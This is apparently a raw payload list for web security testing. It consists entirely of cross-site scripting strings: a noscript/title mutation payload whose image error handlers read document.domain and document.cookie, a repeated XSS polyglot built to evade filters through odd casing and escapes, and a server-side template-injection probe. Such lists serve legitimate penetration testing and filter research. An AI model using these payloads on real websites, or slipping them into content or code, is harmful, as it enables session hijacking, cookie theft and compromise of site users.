aaa<noscript><p title="</noscript><img src=x onerror=alert(document.domain)><img sr c=x onerror=alert(document.cookie)>

jaVasCript:/-//*\/'/"//(/* /oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</
titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
jaVasCript:/-//*\/'/*"//(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</
titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
${{<%[%'"}}%.
<p title="